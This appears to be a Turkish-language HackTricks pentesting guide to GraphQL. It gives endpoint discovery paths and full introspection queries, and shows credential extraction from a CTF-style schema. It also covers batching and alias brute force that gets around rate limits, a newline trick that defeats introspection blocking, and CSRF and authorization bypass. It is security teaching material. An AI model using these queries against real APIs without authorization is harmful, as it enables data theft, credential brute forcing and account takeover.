hacktricks/network-services-pentesting/pentesting-web/graphql.md

28 KiB
Raw Blame History

GraphQL

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile

HackTricks'ı desteklemenin diğer yolları:

Giriş

GraphQL, backend'den veri sorgulamak için basitleştirilmiş bir yaklaşım sunarak REST API'ye verimli bir alternatif olarak ön plana çıkar. REST'in aksine, genellikle verileri toplamak için çeşitli uç noktalarda çok sayıda istek gerektiren GraphQL, tüm gerekli bilgilerin tek bir istek aracılığıyla alınmasını sağlar. Bu basitleştirme, veri alım süreçlerinin karmaşıklığını azaltarak geliştiricilere önemli ölçüde fayda sağlar.

GraphQL ve Güvenlik

GraphQL gibi yeni teknolojilerin ortaya çıkmasıyla yeni güvenlik açıkları da ortaya çıkar. GraphQL'ın varsayılan olarak kimlik doğrulama mekanizmalarını içermediği önemli bir noktadır. Bu tür güvenlik önlemlerini uygulamak geliştiricilerin sorumluluğundadır. Doğru kimlik doğrulama olmadan, GraphQL uç noktaları kimlik doğrulamamış kullanıcılara hassas bilgileri açığa çıkarabilir, bu da ciddi bir güvenlik riski oluşturabilir.

Dizin Brute Force Saldırıları ve GraphQL

ığa çıkarılmış GraphQL örneklerini tanımlamak için dizin brute force saldırılarında belirli yolların dahil edilmesi önerilir. Bu yollar şunlardır:

  • /graphql
  • /graphiql
  • /graphql.php
  • /graphql/console
  • /api
  • /api/graphql
  • /graphql/api
  • /graphql/graphql

ık GraphQL örneklerinin tanımlanması, desteklenen sorguların incelenmesine olanak tanır. Bu, uç noktadan erişilebilen verileri anlamak için önemlidir. GraphQL'in keşif sistemi, bir şemanın desteklediği sorguları detaylandırarak bunu kolaylaştırır. Bu konuda daha fazla bilgi için GraphQL keşif belgelerine bakın: GraphQL: API'ler için bir sorgu dili.

Parmak İzi

graphw00f aracı, bir sunucuda kullanılan GraphQL motorunu tespit edebilir ve ardından güvenlik denetçisi için bazı yararlı bilgileri yazdırabilir.

Evrensel sorgular

Bir URL'nin bir GraphQL servisi olup olmadığını kontrol etmek için bir evrensel sorgu, query{__typename}, gönderilebilir. Yanıt {"data": {"__typename": "Query"}} içeriyorsa, URL'nin bir GraphQL uç noktası barındırdığını doğrular. Bu yöntem, GraphQL'in sorgulanan nesnenin türünü ortaya çıkaran __typename alanına dayanır.

query{__typename}

Temel Numaralandırma

Graphql genellikle GET, POST (x-www-form-urlencoded) ve POST(json) destekler. Güvenlik açısından, CSRF saldırılarını önlemek için yalnızca json'a izin vermek önerilir.

İçgörü

Şema bilgilerini keşfetmek için içgörüyü kullanmak için __schema alanını sorgulayın. Bu alan, tüm sorguların kök türünde mevcuttur.

query={__schema{types{name,fields{name}}}}

Bu sorgu ile kullanılan tüm tiplerin adını bulacaksınız:

{% code overflow="wrap" %}

query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

{% endcode %}

Bu sorgu ile tüm tipleri, alanlarını ve argümanlarını (ve argümanların türünü) çıkarabilirsiniz. Veritabanını sorgulamanın nasıl yapılacağını bilmek çok faydalı olacaktır.

Hatalar

Hataların gösterilip gösterilmeyeceğini bilmek ilginç olacaktır çünkü faydalı bilgiler sağlayabilirler.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

Veritabanı Şemasını Tanımlama Yöntemi ile Sıralama

{% hint style="info" %} Eğer tanımlama etkinleştirilmişse ancak yukarıdaki sorgu çalışmıyorsa, sorgu yapısından onOperation, onFragment ve onField direktiflerini kaldırmayı deneyin. {% endhint %}

#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

Satır içi denetim sorgusu:

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

Son kod satırı, graphql'den tüm meta bilgileri (nesne adları, parametreler, tipler...) dökecek bir graphql sorgusudur.

Eğer introspection etkinse, GraphQL Voyager kullanarak GUI'de tüm seçenekleri görüntüleyebilirsiniz.

Sorgulama

Veritabanında hangi tür bilgilerin kaydedildiğini bildiğimize göre, bazı değerler çıkarmayı deneyelim.

Introspeksiyonda doğrudan sorgulayabileceğiniz nesneleri bulabilirsiniz (bir nesneyi sorgulayamazsınız çünkü var olduğu için). Aşağıdaki görüntüde "queryType"'ın "Query" olarak adlandırıldığını ve "Query" nesnesinin alanlarından birinin "flags" olduğunu görebilirsiniz, ki bu da bir nesne türüdür. Dolayısıyla bayrak nesnesini sorgulayabilirsiniz.

Sorgunun türü "flags" ise "Flags" ve bu nesne aşağıdaki gibi tanımlanmıştır:

"Flags" nesnelerinin ad ve değer ile oluşturulduğunu görebilirsiniz. Sonra bayrakların tüm adlarını ve değerlerini aşağıdaki sorgu ile alabilirsiniz:

query={flags{name, value}}

Dikkat edin ki sorgulanacak nesne gibi ilkel bir tür string gibi olduğunda aşağıdaki örnekte olduğu gibi sadece sorgulayabilirsiniz:

query={hiddenFlags}

Başka bir örnekte, "Query" türü nesnesi içinde 2 nesne olan "user" ve "users" bulunmaktadır.
Bu nesnelerin aranması için herhangi bir argümana ihtiyaç duymadıklarında, istediğiniz verileri sormak suretiyle tüm bilgileri alabilirsiniz. Bu örnekte, internetten kaydedilmiş kullanıcı adlarını ve şifreleri çıkarabilirsiniz:

Ancak, bu örnekte bunu denerseniz şu hatayı alırsınız:

Görünüşe göre, bir şekilde "uid" türünde bir argüman kullanarak arama yapacak.
Neyse ki, zaten Temel Numaralandırma bölümünde bize gereken tüm bilgileri gösteren bir sorgu önerilmişti: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

Eğer o sorguyu çalıştırdığımda sağlanan resmi okursanız, "user"'ın Int türünde "uid" argümanına sahip olduğunu göreceksiniz.

Bu nedenle, hafif bir uid bruteforce gerçekleştirerek uid=1 durumunda bir kullanıcı adı ve şifre elde ettim:
query={user(uid:1){user,password}}

Dikkat edin, "user" ve "password" parametrelerini isteyebileceğimi keşfettim çünkü var olmayan bir şey aramaya çalışırsam (query={user(uid:1){noExists}}) bu hatayı alırım:

Ve numaralandırma aşaması sırasında "dbuser" nesnesinin "user" ve "password" alanlarına sahip olduğunu keşfettim.

Sorgu dizesi dökme hilesi (teşekkürler @BinaryShadow_)

Eğer query={theusers(description: ""){username,password}} gibi bir String türüyle arama yapabilirseniz ve boş bir dize ararsanız, tüm verileri dökecektir. (Bu örnek, öğreticilerin örneğiyle ilgili değildir, bu örnekte "theusers" kullanarak "description" adlı String alanıyla arama yapabileceğinizi varsayalım).

Arama

Bu kurulumda, bir veritabanı kişileri ve filmleri içerir. Kişiler e-posta ve isimleriyle tanımlanır; filmler ise isimleri ve derecelendirmeleriyle tanımlanır. Kişiler birbirleriyle arkadaş olabilir ve aynı zamanda filmlere sahip olabilir, veritabanı içindeki ilişkileri gösterir.

Kişileri isimlerine göre arayabilir ve e-postalarını alabilirsiniz:

{
searchPerson(name: "John Doe") {
email
}
}

Kişileri adlarına göre arayabilir ve abone oldukları filmleri alabilirsiniz:

{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Not alınarak subscribedMovies'ın name özelliğinin alınması belirtilmiştir.

Aynı anda birkaç nesne aranabilir. Bu durumda, 2 film araması yapılır:

{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r

Ya da farklı nesnelerin ilişkileri kullanılarak takma adlar:

{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Mutasyonlar

Mutasyonlar, sunucu tarafında değişiklik yapmak için kullanılır.

İntrospeksiyon içinde tanımlanmış mutasyonları bulabilirsiniz. Aşağıdaki görüntüde "MutationType" "Mutation" olarak adlandırılır ve "Mutation" nesnesi mutasyonların isimlerini içerir (bu durumda "addPerson" gibi):

Bu yapıda bir veritabanı, kişileri ve filmleri içerir. Kişiler, e-posta ve isimleri ile tanımlanır; filmler ise isim ve puanları ile tanımlanır. Kişiler birbirleriyle arkadaş olabilir ve ayrıca filmlere sahip olabilir, veritabanı içindeki ilişkileri gösterir.

Veritabanına yeni filmler eklemek için bir mutasyon aşağıdaki gibi olabilir (bu örnekte mutasyon addMovie olarak adlandırılmıştır):

mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}

Sorguda hem verilerin hem de veri türünün belirtildiğine dikkat edin.

Ayrıca, veritabanı mevcut arkadaşlar ve filmler ile ilişkilendirilmiş kişilerin oluşturulmasını sağlayan addPerson adında bir mutasyon işlemini destekler. Arkadaşlar ve filmlerin, yeni oluşturulan kişiye bağlanmadan önce veritabanında mevcut olması gerektiğini unutmamak önemlidir.

mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}

Yönerge Aşırı Yükleme

Bu raporda açıklanan zafiyetlerden biri olarak açıklandığı gibi, bir yönerge aşırı yükleme, sunucunun işlemlerini boşa harcamak için bir yönergeyi milyonlarca kez çağırmayı ima eder ve DoS saldırısı yapılabilir hale gelene kadar işlemleri boşa harcamak.

1 API isteğinde kaba kuvvet saldırısı toplu işleme

Bu bilgi https://lab.wallarm.com/graphql-batching-attack/ adresinden alınmıştır.
Farklı kimlik bilgileri ile birlikte birçok sorguyu aynı anda göndererek GraphQL API üzerinden kimlik doğrulama. Bu klasik bir kaba kuvvet saldırısıdır, ancak şimdi GraphQL toplu işleme özelliği sayesinde bir HTTP isteğinde birden fazla giriş/şifre çifti göndermek mümkün hale gelmiştir. Bu yaklaşım, harici hız izleme uygulamalarını aldatarak her şeyin yolunda olduğunu ve şifre denemesi yapan bir botun olmadığını düşünmelerini sağlayacaktır.

Aşağıda, aynı anda 3 farklı e-posta/şifre çifti ile uygulama kimlik doğrulama isteğinin en basit gösterimi bulunmaktadır. Açıkça aynı şekilde tek bir istekte binlerce göndermek mümkündür:

Yanıt ekran görüntüsünden görebileceğimiz gibi, ilk ve üçüncü istekler null döndürdü ve ilgili bilgileri hata bölümünde yansıttı. İkinci mutasyon doğru kimlik doğrulama verilerine sahipti ve yanıt doğru kimlik doğrulama oturum belirteci içeriyordu.

GraphQL İntrospeksiyon Olmadan

Daha fazla graphql uç noktası introspeksiyonu devre dışı bırakıyor. Bununla birlikte, graphql'in beklenmeyen bir istek aldığında fırlattığı hatalar, clairvoyance gibi araçların çoğu şemayı yeniden oluşturmasına yeterlidir.

Ayrıca, Burp Suite uzantısı GraphQuail uzantısı, Burp üzerinden geçen GraphQL API isteklerini izler ve her yeni sorguyu gördüğünde içsel bir GraphQL şeması oluşturur. Ayrıca şemayı GraphiQL ve Voyager için açığa çıkarabilir. Uzantı, bir introspeksiyon sorgusu aldığında sahte bir yanıt döndürür. Sonuç olarak, GraphQuail API içinde kullanılabilecek tüm sorguları, argümanları ve alanları gösterir. Daha fazla bilgi için buraya bakın.

GraphQL varlıklarını keşfetmek için güzel bir kelime listesi burada bulunabilir.

GraphQL İntrospeksiyon Savunmalarını Atlatma

GraphQL İntrospeksiyon Savunmalarını Atlatma

API'lerde introspeksiyon sorgularına getirilen kısıtlamaları atlatmak için, __schema kelimesinden sonra özel bir karakter eklemek etkili olmaktadır. Bu yöntem, introspeksiyonu engellemeyi amaçlayan regex desenlerinde yaygın geliştirici hatalarını sömürür. GraphQL'in görmezden geldiği ancak regex'te hesaba katılmamış olabilecek karakterler ekleyerek, kısıtlamalar atlatılabilir. Örneğin, __schema'dan sonra bir satır sonu ekleyen bir introspeksiyon sorgusu, bu tür savunmaları atlayabilir:

# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}

Eğer başarısız olursanız, yalnızca POST isteklerine kısıtlamalar uygulanmış olabileceğinden GET istekleri veya x-www-form-urlencoded ile POST gibi alternatif istek yöntemlerini düşünebilirsiniz.

ığa Çıkarılmış GraphQL Yapılarını Keşfetme

İntrospeksiyon devre dışı bırakıldığında, JavaScript kütüphanelerinde önceden yüklenmiş sorguları incelemek yararlı bir stratejidir. Bu sorgular, geliştirici araçlarındaki Kaynaklar sekmesi kullanılarak bulunabilir, API'nin şemasına dair içgörüler sağlar ve potansiyel olarak ığa çıkarılmış hassas sorguları ortaya çıkarır. Geliştirici araçları içinde arama yapmak için kullanılan komutlar:

Inspect/Sources/"Search all files"
file:* mutation
file:* query

GraphQL'de CSRF

CSRF nedir bilmiyorsanız aşağıdaki sayfayı okuyun:

{% content-ref url="../../pentesting-web/csrf-cross-site-request-forgery.md" %} csrf-cross-site-request-forgery.md {% endcontent-ref %}

Dışarıda, CSRF belirteçleri olmadan yapılandırılmış birkaç GraphQL uç noktası bulabileceksiniz.

GraphQL istekleri genellikle application/json Content-Type'ı kullanılarak POST istekleri aracılığıyla gönderilir.

{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

Ancak, çoğu GraphQL uç noktası aynı zamanda form-urlencoded POST isteklerini de destekler:

query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

Bu nedenle, önceki gibi CSRF istekleri önişlem istekleri olmadan gönderildiğinden, bir CSRF'yi kötüye kullanarak GraphQL'de değişiklikler yapmak mümkündür.

Ancak, Chrome'un samesite bayrağının yeni varsayılan çerez değeri Lax'tir. Bu, çerezin yalnızca üçüncü taraf web sitelerinden GET isteklerinde gönderileceği anlamına gelir.

Ayrıca, sorgu isteğinin bir GET isteği olarak da gönderilebileceğini ve CSRF belirtecinin GET isteğinde doğrulanmayabileceğini unutmayın.

Ayrıca, bir XS-Search saldırısını kötüye kullanarak kullanıcının kimlik bilgilerini kötüye kullanarak GraphQL uç noktasından içerik sızdırmak mümkün olabilir.

Daha fazla bilgi için orijinal yazıya buradan bakın.

GraphQL'de Yetkilendirme

Uç noktada tanımlanan birçok GraphQL işlevi, yalnızca istekte bulunanın kimlik doğrulamasını kontrol edebilir ancak yetkilendirmeyi kontrol etmeyebilir.

Sorgu giriş değişkenlerinin değiştirilmesi, hassas hesap ayrıntılarına yol açabilir sızdırıldı.

Mutasyon, başka bir hesap verisini değiştirmeye çalışarak hesap ele geçirmesine bile yol açabilir.

{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

GraphQL'de Yetkilendirme Atlatma

Query'leri zincirleme zayıf bir kimlik doğrulama sistemini atlayabilir.

Aşağıdaki örnekte işlemin "forgotPassword" olduğunu ve yalnızca onunla ilişkilendirilmiş forgotPassword sorgusunun yürütülmesi gerektiğini görebilirsiniz. Bu, sona bir sorgu ekleyerek atlatılabilir, bu durumda "register" ve bir kullanıcı değişkeni ekliyoruz ki sistem onu yeni bir kullanıcı olarak kaydedebilsin.

GraphQL'de Aliases Kullanarak Hız Sınırlarını Atlatma

GraphQL'de, aliases, bir API isteği yapılırken özelliklerin açıkça adlandırılmasına olanak tanıyan güçlü bir özelliktir. Bu yetenek, tek bir istekte aynı türden birden fazla örneği almak için özellikle kullanışlıdır. Aliases, GraphQL nesnelerinin aynı ada sahip birden fazla özelliğe sahip olmasını engelleyen kısıtlamayı aşmak için kullanılabilir.

GraphQL aliases'lerinin detaylı anlaşılması için aşağıdaki kaynak önerilir: Aliases.

Aliases'lerin asıl amacı birçok API çağrısına gerek duymayı azaltmaktır, ancak aliases'lerin yanlışlıkla keşfedilen bir kullanım durumu vardır ki bu, aliases'lerin bir GraphQL uç noktasında brute force saldırıları gerçekleştirmek için kullanılabileceğini göstermektedir. Bu, bazı uç noktaların, brute force saldırılarını sınırlayarak HTTP isteklerinin sayısını kısıtlayan hız sınırlayıcılarla korunduğu gerçeğine dayanmaktadır. Ancak, bu hız sınırlayıcılar, her istekteki işlemlerin sayısını hesaba katmayabilir. Aliases'ler, birden fazla sorgunun tek bir HTTP isteğine dahil edilmesine izin verdiği için, bu tür hız sınırlama önlemlerini atlayabilir.

Aşağıdaki örneği düşünün, bu örnek, mağaza indirim kodlarının geçerliliğini doğrulamak için nasıl kullanılabileceğini göstermektedir. Bu yöntem, birçok indirim kodunun aynı anda doğrulanmasına izin verebileceğinden hız sınırlamayı atlayabilir.

# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}

Araçlar

Zayıflık tarayıcıları

İstemciler

Otomatik Testler

{% embed url="https://graphql-dashboard.herokuapp.com/" %}

Referanslar

AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

HackTricks'ı desteklemenin diğer yolları: